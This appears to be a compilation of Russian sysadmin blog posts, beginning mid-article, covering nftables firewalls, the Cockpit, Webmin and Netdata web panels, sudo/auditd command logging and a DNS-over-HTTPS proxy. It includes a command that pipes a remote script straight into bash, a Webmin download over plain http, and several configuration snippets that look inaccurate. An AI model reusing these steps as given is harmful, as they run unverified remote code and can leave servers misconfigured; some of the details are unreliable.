Если вы видите в ответе что-то вроде iptables v1.8.9 (nf_tables), значит, используется режим iptables-nft, а не классический iptables. Это первый признак, что можно (и стоит) мигрировать.

Установка и активация nftables (Ubuntu/Debian)

На Ubuntu 22.04, Debian 12 и большинстве свежих систем nftables уже предустановлен. Но на всякий случай:

sudo apt update
sudo apt install nftables

Активируем:

sudo systemctl enable nftables
sudo systemctl start nftables

Проверим статус:

sudo systemctl status nftables

Базовая настройка firewall через nftables

Создаём конфигурационный файл, например /etc/nftables.conf:

#!/usr/sbin/nft -f

flush ruleset

table inet filter {
  chain input {
    type filter hook input priority 0;
    policy drop;

    # Разрешаем loopback
    iif lo accept

    # Разрешаем уже установленные соединения
    ct state established,related accept

    # Разрешаем SSH
    tcp dport 22 accept

    # Разрешаем HTTP и HTTPS
    tcp dport {80, 443} accept
  }

  chain forward {
    type filter hook forward priority 0;
    policy drop;
  }

  chain output {
    type filter hook output priority 0;
    policy accept;
  }
}

Применяем правила:

sudo nft -f /etc/nftables.conf

Сохраняем для автозапуска:

sudo netfilter-persistent save

Таблица сравнения iptables vs nftables

Полезные команды nftables

Вот список базовых и часто используемых команд:

# Показать текущие правила
sudo nft list ruleset

# Показать таблицы
sudo nft list tables

# Добавить правило "вручную" (например, открыть порт 8080)
sudo nft add rule inet filter input tcp dport 8080 accept

# Удалить правило
sudo nft delete rule inet filter input handle <номер>

# Сбросить все правила
sudo nft flush ruleset

Особенности и подводные камни

1. iptables dport не работает напрямую с nft — вместо этого используйте tcp dport.
2. Убедитесь, что у вас удалён iptables-persistent, иначе он может конфликтовать.
3. Не путайте nft list с nft list rules и nft list ruleset — последняя команда показывает всё сразу, и это удобно.

Личный опыт

Когда я впервые перешла на nftables, больше всего времени ушло на то, чтобы понять логику chains и осознанно сформировать policy. Но когда я разобралась — это оказалось в разы удобнее, чем iptables. Особенно удобно, что можно писать правила в логических блоках, группировать порты, использовать sets, и всё это читается, как человеческий текст.

Итого…

nftables — это современный способ конфигурирования firewall в Linux. Если вы всё ещё сидите на iptables (или работаете в iptables-nft режиме), я очень рекомендую хотя бы протестировать чистую конфигурацию на nftables. Она логичнее, быстрее и перспективнее. Особенно на новых VPS с Debian 12, Ubuntu 22.04 и выше.

Источник: Community">%BLOGTITLE%. Все права защищены.

Когда я только начала работать с VPS, большую часть задач выполняла в консоли. Это быстро, гибко, но, признаюсь честно, далеко не всегда удобно — особенно если нужно мониторить ресурсы в реальном времени или управлять несколькими службами на сервере. Так я и начала искать Web UI для VPS, которые можно настроить под себя.

Сегодня расскажу о трёх решениях, которые мне довелось тестировать и использовать в продакшене: Cockpit, Webmin и Netdata. У каждого свои плюсы и минусы — и я поделюсь, в каких случаях они реально упрощают жизнь.

Cockpit: минимализм и стабильность от Red Hat

Cockpit — это легковесная и очень продуманная web-консоль для управления сервером. Разрабатывается Cockpit Project, а основная идея — упростить жизнь тем, кто работает с systemd, журналами, сетями и RAID.

Установка на Ubuntu:

sudo apt install cockpit -y
sudo systemctl enable --now cockpit.socket

После этого вы заходите на https://IP:9090 и работаете в браузере. Интерфейс очень чистый, похож на панели в Fedora.

Где использую Cockpit:

• на VPS, где важно мониторить systemd-сервисы;
• для управления виртуальными машинами через Cockpit Virtual Machines;
• для настройки RAID или проверки состояния дисков через Cockpit Storage.

Плюсы:

• родной UI для systemd (всё в одном месте);
• модульность: можно доустановить плагины;
• поддержка SSH-подключений к другим серверам.

Минусы:

• базовая функциональность из коробки не всегда достаточно широкая;
• Cockpit Web Console ориентирована на опытных пользователей — новичкам может показаться сухой.

SEO-ключи: cockpit server, cockpit software, cockpit alternative, cockpit vs webmin

Webmin: классика sysadmin-интерфейсов

Webmin — это своего рода “старичок” среди Web UI для Linux VPS. И да, у него олдскульный интерфейс (сразу вспоминаются 2000-е), но зато невероятная гибкость.

Установка на Ubuntu:

wget http://www.webmin.com/download/deb/webmin-current.deb
sudo dpkg -i webmin-current.deb
sudo apt --fix-broken install

Webmin открывается на порту 10000 (https://IP:10000). Интерфейс полностью настраиваемый — можно управлять почти всем: пользователями, Apache, Cron, DHCP, и даже настроить firewall.

Когда я выбираю Webmin:

• при работе с DNS-серверами;
• если проект старый и там уже есть поддержка Webmin;
• когда нужно много тонкой настройки.

Плюсы:

• просто безумно много настроек;
• есть поддержка LXC, OpenVPN, PostgreSQL;
• настраиваемый dashboard, расширяемый за счёт модулей.

Минусы:

• интерфейс — на любителя;
• с некоторых версий Ubuntu бывают конфликты с PAM или sudoers.

SEO-ключи: webmin vs cockpit, cpanel free, cpanel alternative, cpanel бесплатно

Netdata: визуализация, которую не хочется выключать

Если тебе важно именно наблюдать, а не настраивать — смело ставь Netdata. Это не совсем классическая панель управления, а скорей реальный-time мониторинг всех процессов и ресурсов на сервере. От CPU до состояния MySQL или nginx — всё можно визуализировать.

Установка (одной командой):

bash <(curl -Ss https://my-netdata.io/kickstart.sh)

Дальше открываешь браузер по порту 19999 (http://IP:19999) — и зависаешь. Реально. Очень красиво, информативно, а главное — удобно.

Мой кейс с Netdata:

• использую для мониторинга прод-серверов;
• отправляю алерты через Telegram Webhook;
• подключаю к Grafana через API.

Плюсы:

• мгновенный сбор метрик;
• красивая визуализация;
• лёгкая настройка алертов и уведомлений.

Минусы:

• нельзя полноценно управлять сервисами;
• кушает ресурсы, особенно при большом числе плагинов.

SEO-ключи: monitoring vps, netdata vps, grafana alternative, system health vps

Личный вывод

В каких проектах что использовать

• Если у тебя несколько VPS и нужно быстро мониторить и перезапускать сервисы — Cockpit идеально подходит.
• Если тебе нужно управлять всем через браузер и ты не боишься старого интерфейса — ставь Webmin.
• А вот если ты хочешь видеть, что происходит на сервере прямо сейчас, да ещё с графиками и алертами — Netdata твой выбор.

Я, честно, сейчас держу все три на разных серверах: Cockpit — для микросервисов на k3s, Webmin — для старых проектов с Apache, Netdata — для постоянного мониторинга своего основного VPS. Так спокойнее спится

Как настроить авторизацию и безопасность в Cockpit, Webmin и Netdata

Cockpit

По умолчанию авторизация идёт через системного пользователя Linux. Чтобы пользователь мог войти, он должен иметь право работать с systemd и journal.

Чтобы создать нового пользователя с нужными правами:

sudo useradd -m cockpituser
sudo passwd cockpituser
sudo usermod -aG sudo cockpituser

Бонус: можно использовать SSH-ключи для авторизации, без пароля. Просто добавляешь ~/.ssh/authorized_keys.

Важно: если хочешь запретить root-доступ, правь /etc/cockpit/cockpit.conf:

[WebService]
LoginTo = cockpituser

Webmin

Webmin имеет собственную систему пользователей, но может работать и через PAM.

• Настроить пользователей можно в разделе Webmin → Webmin Users.
• Там же задаются права, например, только доступ к “Apache Webserver” или “SSH Login”.

Если хочешь авторизацию через PAM (удобно для LDAP или централизованной авторизации):

/etc/webmin/miniserv.conf

Ищешь строчку:

auth=unix

или меняешь на:

auth=pam

Netdata

Netdata не имеет встроенной авторизации из коробки (если не использовать Netdata Cloud), но можно настроить reverse proxy с авторизацией через nginx:

location / {
    proxy_pass http://localhost:19999;
    auth_basic "Restricted Content";
    auth_basic_user_file /etc/nginx/.htpasswd;
}

Создай файл паролей:

sudo apt install apache2-utils
htpasswd -c /etc/nginx/.htpasswd youruser

И не забудь перезапустить nginx.

Как подключить Netdata к Grafana

Если у тебя уже есть Grafana на VPS (или хочешь установить), ты можешь использовать Netdata в роли source:

1. Установка Grafana:

sudo apt install -y apt-transport-https
sudo apt install grafana
sudo systemctl enable --now grafana-server

2. Добавление Netdata как Prometheus endpoint

В Netdata включи Prometheus-совместимый экспорт:

cd /etc/netdata
sudo nano netdata.conf

Найди блок [backend], включи экспорт:

enabled = yes
data source = average
destination = prometheus

3. Добавление источника в Grafana:

• Зайди в Grafana (http://IP:3000)
• В разделе Settings → Data Sources → Add data source
• Выбери Prometheus
• Укажи URL: http://localhost:19999/api/v1/allmetrics

Теперь можно использовать готовые Netdata dashboards или собрать свой. Очень удобно, особенно если у тебя несколько VPS и хочется следить за ними централизованно.

Бонус: автозапуск и мониторинг с systemd

Для Webmin и Cockpit systemd уже настроен. Но для Netdata иногда полезно прописать свои параметры. Например, автоперезапуск при сбое:

[Service]
Restart=always
RestartSec=5

Это можно добавить в /etc/systemd/system/netdata.service.d/override.conf с помощью:

sudo systemctl edit netdata

Источник: Community">%BLOGTITLE%. Все права защищены.

Когда я только начинала работать с VPS, было какое-то благоговение перед sudo. Я знала, что если что-то сломается — виновата буду я. Потому что root-доступ — это как штурвал самолёта: может привести к цели, а может и в стену.

Но только со временем я поняла, как важно вести логи всех sudo и root-команд, особенно если вы не единственная, кто работает с сервером. Или если вы — сами себе DevOps, и хотите спать спокойно, зная, что можно отследить, кто и когда что выполнял.

Зачем логировать sudo и команды от root?

Ответ простой: безопасность и аудит.
Если кто-то выполняет команды с sudo или заходит под root, вы должны иметь возможность увидеть:

• когда это произошло,
• что именно запускалось,
• из-под какого пользователя,
• с какого IP-адреса (если удалённый доступ).

Это особенно важно для:

• команд с sudo правами;
• автоматических скриптов, которые работают от имени root;
• разборов «что пошло не так» после сбоя.

Где и как уже логируются команды sudo?

По умолчанию команды sudo логируются в /var/log/auth.log (на Ubuntu и Debian), либо в /var/log/secure (на CentOS/AlmaLinux/RHEL).

Попробуйте:

sudo cat /var/log/auth.log | grep sudo

Пример вывода:

Aug 14 15:03:22 vps sudo:   adminuser : TTY=pts/0 ; PWD=/home/adminuser ; USER=root ; COMMAND=/usr/bin/apt update

Но это лишь часть. Если вы хотите вести отдельный журнал или добавить детализацию, придётся настроить чуть глубже.

Настройка sudoers для ведения логов

Откройте конфигурационный файл sudo:

sudo visudo

Это безопасный способ редактировать /etc/sudoers, который проверяет синтаксис перед сохранением.

Добавьте в конец:

Defaults logfile="/var/log/sudo.log"

Теперь всё, что будет запускаться с sudo, будет сохраняться в отдельный файл /var/log/sudo.log.

Важно: убедитесь, что logfile не дублирует системные логи, иначе у вас будут конфликты с rsyslog/journald.

Как логировать все команды root-пользователя

sudo — это полдела. Но если кто-то вошёл как root (через su - или напрямую по ключу/паролю), sudo уже не спасёт. Тут помогает auditd.

Установка:

sudo apt install auditd -y

Пример правила, логирующего запуск любых команд от root:

sudo auditctl -a always,exit -F arch=b64 -F uid=0 -S execve -k root_cmds

Проверка логов:

sudo ausearch -k root_cmds

Всё будет сохранено в /var/log/audit/audit.log.

Советы:

• добавьте правило в /etc/audit/rules.d/, чтобы оно сохранялось после перезагрузки;
• убедитесь, что хватает места на диске под такие логи.

Как обезопасить sudoers файл от ошибок

Ошибки в /etc/sudoers могут полностью заблокировать возможность использовать sudo. Я однажды случайно поставила пробел не туда — и пришлось восстанавливать сервер через консоль провайдера.

Правило №1: редактируйте только через visudo.
Правило №2: не давайте NOPASSWD доступ без необходимости.

Вот пример строки, которую я добавляю:

adminuser ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx

То есть пользователь adminuser может перезапускать nginx без пароля — и только его.

Также можно создать отдельный файл:

sudo nano /etc/sudoers.d/adminuser

И прописать туда доступ. Так безопаснее, чем лезть в основной /etc/sudoers.

Примеры из жизни

Была у меня ситуация: на одном из серверов начались сбои в nginx. Я полезла в /var/log/auth.log, увидела, что sudo запускался 3 раза подряд другим пользователем, явно не по инструкции. Благодаря логам я выяснила, что он случайно запустил nginx -s stop, вместо reload.

С тех пор я:

• включаю отдельный лог-файл через sudoers;
• логирую root-команды через auditd;
• и стараюсь описывать в sudoers.d точные команды, а не «всё подряд».

Проверка и анализ sudo-логов

Для удобства рекомендую использовать такие команды:

sudo grep "COMMAND=" /var/log/auth.log

Или если у вас включён отдельный файл:

tail -f /var/log/sudo.log

Можно даже настроить отправку алертов в Telegram, если кто-то запускает нестандартные команды — но это тема для отдельной статьи.

Итого

Если у вас VPS — вы за него отвечаете. И чем раньше вы начнёте вести учёт команд, тем спокойнее будете спать. У меня это стало стандартной практикой на каждом новом сервере: настройка sudoers, auditd, отдельные права и резервная копия sudo-файлов.

Пусть root больше не будет тенью, скрывающей ошибки, а станет прозрачным и контролируемым инструментом. Потому что логирование — это не только про контроль, но и про доверие к себе и своей инфраструктуре.

Источник: Community">%BLOGTITLE%. Все права защищены.

Когда я только начала копаться в настройках DNS, казалось, что это какая-то закулисная магия. Просто прописываешь IP-шники — и всё работает. Но как только я углубилась, оказалось, что DNS — это чуть ли не первое, что можно перехватить и подменить. А если на сервере крутится что-то важное (а у нас же всегда крутится), то безопасность должна начинаться именно с него. Так что сегодня — про то, как настроить DNS over HTTPS (DoH) на VPS и перестать зависеть от публичных DNS с сомнительной прозрачностью.

Что такое DNS over HTTPS простыми словами?

DNS over HTTPS (DoH) — это технология, которая шифрует DNS-запросы и отправляет их по HTTPS. Обычно, когда вы вводите сайт (допустим, example.com), ваш компьютер делает запрос к DNS-серверу, чтобы узнать IP-адрес сайта. Проблема в том, что обычные DNS-запросы не шифруются, и любой, кто сидит между вами и интернетом, может их подслушивать или даже подменить.

С DoH — всё иначе. DNS-запросы идут по тому же безопасному каналу, что и HTTPS, и даже провайдеру сложно понять, какие домены вы запрашиваете. А это уже уровень безопасности, достойный и для личных проектов, и для клиентов.

Зачем поднимать свой DoH-прокси?

Многие просто прописывают 1.1.1.1 (Cloudflare), 9.9.9.9 (Quad9) или 94.140.14.14 (AdGuard DNS), и всё. Но если вы:

• используете VPS как прокси или туннель;
• парсите сайты, и важно, чтобы DNS-запросы тоже шли шифрованными;
• или просто не хотите, чтобы даже DNS-шлюз знал, что вы делаете, —

то лучше всего поднять свой DNS-прокси через DoH. Именно так я и сделала. У меня на VPS теперь крутится dnsproxy, а вся телеметрия завязана на AdGuard, Cloudflare и резервный Quad9.

Что потребуется

• VPS с Ubuntu 22.04 (или другой Linux — команда подстроится);
• root-доступ;
• установленный dnsproxy или dnscrypt-proxy;
• желательно — systemd для автозапуска сервиса.

Установка dnsproxy на VPS (Ubuntu)

Я выбрала dnsproxy от AdGuard — он лёгкий, понятный и поддерживает как DNS over HTTPS, так и DNS over TLS, если вдруг вы захотите переключиться.

1. Скачиваем последнюю версию:

wget https://github.com/AdguardTeam/dnsproxy/releases/latest/download/dnsproxy-linux-amd64 -O dnsproxy
chmod +x dnsproxy
sudo mv dnsproxy /usr/local/bin/

2. Создаём конфиг-файл:

sudo nano /etc/dnsproxy.conf

Пример содержимого:

listen=127.0.0.1:5353
upstream=https://dns.adguard.com/dns-query
upstream=https://1.1.1.1/dns-query
fallback=https://9.9.9.9/dns-query
timeout=10s

3. Сервис для systemd:

sudo nano /etc/systemd/system/dnsproxy.service

Содержимое:

[Unit]
Description=DNSProxy
After=network.target

[Service]
ExecStart=/usr/local/bin/dnsproxy --config-path /etc/dnsproxy.conf
Restart=on-failure

[Install]
WantedBy=multi-user.target

4. Активируем:

sudo systemctl daemon-reexec
sudo systemctl enable --now dnsproxy

Проверка работы

Теперь у вас запущен локальный DoH-прокси. Чтобы направить на него запросы:

sudo nano /etc/systemd/resolved.conf

Добавьте или измените строку:

DNS=127.0.0.1

Перезапустите:

sudo systemctl restart systemd-resolved

Проверяем:

dig google.com @127.0.0.1 -p 5353

Если всё работает — поздравляю, вы только что настроили DNS over HTTPS-сервер на своём VPS.

Таблица сравнения популярных DNS-серверов для DoH

DNS-провайдер	IP-адрес	Поддержка DoH	Приватность	Замедления
Cloudflare	1.1.1.1		Отличная	Низкие
AdGuard	94.140.14.14		Высокая (фильтрация)	Средние
Quad9	9.9.9.9		Отличная, без логов	Средние
Google	8.8.8.8		Сомнительная	Низкие

Почему не стоит доверять публичным DNS вслепую

Я не параноик, но видела, как Cloudflare временно откатывал изменения, а Google DNS может подменить ответы в некоторых юрисдикциях. С AdGuard — фильтрация работает отлично, но не все запросы проходят (особенно по API). Поэтому:

• для личного использования — AdGuard или Quad9;
• для парсинга — свой VPS с dnsproxy;
• для высокой скорости — Cloudflare.

Дополнительные советы

• Используйте tcpdump или dig для диагностики.
• Rclone можно настроить с --dns опцией, чтобы использовать конкретный DoH-прокси.
• Если ваш роутер поддерживает dns-over-https, можно перенаправить весь трафик с домашней сети через ваш VPS.

Итого…

Да, это не настройка «в один клик», но если вы хотя бы раз сталкивались с подменой DNS или у вас случались проблемы при деплое, то вы знаете, насколько важно, чтобы запрос dns.adguard.com не шёл открытым текстом. VPS легко справляется с этой задачей. А вместе с dnsproxy и парой минут настроек — у вас появляется персональный DoH-сервер, которому вы можете доверять.

Источник: Community">%BLOGTITLE%. Все права защищены.